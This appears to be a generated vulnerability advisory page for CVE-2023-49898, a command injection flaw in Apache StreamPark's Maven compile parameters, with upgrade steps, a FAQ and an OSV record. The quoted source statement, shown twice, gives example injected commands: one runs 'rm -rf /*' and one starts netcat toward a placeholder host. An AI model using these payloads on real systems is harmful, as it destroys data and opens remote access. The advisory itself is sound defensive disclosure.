CVE-2023-49898: Apache StreamPark Authenticated System Users Could Trigger Vulnerability

CRITICAL
Advisory Identifier: GHSA-qg44-xqwj-wc28
CWE-77
Published
Advisory Summary

CVE-2023-49898 is a CRITICAL authenticated system users could trigger vulnerability (CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')) affecting Apache StreamPark libraries in the Maven ecosystem. The issue involves authenticated system users could trigger remote command execution. Remediation is available by upgrading affected packages to version 2.1.2.

CVE-2023-49898 at a Glance

CVE Identifier CVE-2023-49898
GHSA Identifier GHSA-qg44-xqwj-wc28
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Affected Product Apache StreamPark
Package Ecosystem Maven
Published Date
Last Updated

How to Fix CVE-2023-49898

To remediate this vulnerability, upgrade all affected Apache StreamPark dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

org.apache.streampark:streampark fixed: 2.1.2
<dependency>
    <groupId>org.apache.streampark</groupId>
    <artifactId>streampark</artifactId>
    <version>2.1.2</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=org.apache.streampark

How to Check if You Are Affected

To determine whether your Java application is affected by CVE-2023-49898, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=org.apache.streampark

Analyze the terminal output to locate any version of Apache StreamPark in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.1.2), your application is affected.

Note: The mvn dependency:tree -Dincludes=org.apache.streampark command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection'), where the product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. In Apache StreamPark, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &

CVE-2023-49898 Affected Apache StreamPark Versions

1 component(s)
Fixed Versions:
2.1.2
Product / Package Ecosystem Affected Versions Fixed Version
org.apache.streampark:streampark
Maven
≥ 2.0.0
< 2.1.2
2.1.2

References

Frequently Asked Questions

What is CVE-2023-49898?
CVE-2023-49898 is a security vulnerability in Apache StreamPark involving Authenticated system users could trigger remote command execution under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').
Which Apache StreamPark versions are affected?
Affected versions include releases prior to 2.1.2 across affected packages: org.apache.streampark:streampark.
What version fixes CVE-2023-49898?
Upgrading to 2.1.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is streampark affected?
Yes, org.apache.streampark:streampark is affected in releases prior to 2.1.2. Upgrade your dependency to 2.1.2 or later.
What CWE is associated with CVE-2023-49898?
CVE-2023-49898 is classified under CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.).
How can I check Maven dependencies for CVE-2023-49898?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=org.apache.streampark'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qg44-xqwj-wc28",
  "modified" : "2023-12-16T00:46:50Z",
  "published" : "2023-12-15T15:30:27Z",
  "aliases" : [ "CVE-2023-49898" ],
  "summary" : "Apache StreamPark: Authenticated system users could trigger remote command execution",
  "details" : "In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low.\n\nMitigation:\n\nall users should upgrade to 2.1.2\n\nExample:\n\n##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use \"||\" or \"&&\":\n\n/usr/share/java/maven-3/conf/settings.xml || rm -rf /*\n\n/usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &\n\n",
  "severity" : [ ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.apache.streampark:streampark"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.1.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-49898"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apache/incubator-streampark"
  }, {
    "type" : "WEB",
    "url" : "https://lists.apache.org/thread/qj99c03r4td35f8gbxq084b8qmv2fyr3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-12-16T00:46:50Z",
    "nvd_published_at" : "2023-12-15T13:15:07Z"
  }
}